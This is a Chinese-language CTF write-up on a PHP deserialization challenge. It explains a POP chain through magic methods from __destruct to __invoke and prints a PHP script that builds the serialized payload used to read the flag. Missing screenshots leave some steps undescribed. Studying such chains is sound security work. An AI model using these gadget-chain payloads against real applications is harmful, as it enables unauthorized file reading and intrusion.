**考点:PHP反序列化,**任意文件读取
打开题目,发现源码:

思路:
因为题目最下面有unserialize,而当反序列化结束后,这个脚本结束,对象被销毁,则__destruct()魔术方法自动触发,所以优先看这个。因为有echo,这代表有东西被当做字符串使用,就是当前对象的name属性。既然有对象被当做字符串使用,那么__toString()被触发,然后调用当前对象的obj属性的check()方法,然而并没有check()方法,所以__call()就被触发,然后它会把$var复制一份,所以__clone()被触发,因为在eeee这个类里并没有cmd这个属性,然而cmd这个属性被访问,所以isset()这个不可访问属性被触发,并且魔术方法__isset()也被触发,因为有func,当前对象会被当做函数调用,所以__invoke()被触发,最终输出flag。这就是这题的POP链。
| 魔术方法 | 触发时机 | 本题作用 |
|---|---|---|
__destruct() |
对象销毁时 | 链入口(反序列化后自动触发) |
__toString() |
对象被当字符串用(如 echo) | 第 2 环 |
__call($fun,$var) |
调用不存在/不可访问的方法 | 第 3 环(check 不存在) |
__clone() |
对象被 clone 复制时 | 第 4 环(本题较冷门 ⚠) |
__isset($var) |
对不可访问属性 调 isset()/empty() |
第 5 环(cmd 不存在) |
__invoke() |
对象被当函数调用 ($obj()) |
终点 → 读 flag |
那么可以构造序列化脚本:
php
<?php
#定义类结构
class Start{
public $name;
public $func;
}
class Sec{
public $obj;
public $var;
}
class Easy{
public $cla;
}
class eeee{
public $obj;
}
$a = new Start(); #触发__destruct
$a->name = new Sec(); #有.拼接了name,触发__toString
$a->name->obj = new Easy();
#因为check()方法建立在当前对象的obj属性上,所以在上一步对象的基础上拼接obj触发__call
$a->name->var = new eeee();
#因为clone复制的是var,所以拼接var触发__clone,因为没有$this当前对象所以不需要继续拼接
$a->name->var->obj = new Start();
#因为有$this且不存在的cmd属性建立在obj上,所以需要在上一步对象的基础上拼接cmd触发__isset
$a->name->var->obj->func = new Sec();
#因为有$this且触发__invoke需要建立在func上,所以需要拼接func
echo serialize($a); #最后进行序列化
?>
在phpstudy里运行脚本:

因为pop需要用POST方法,所以:
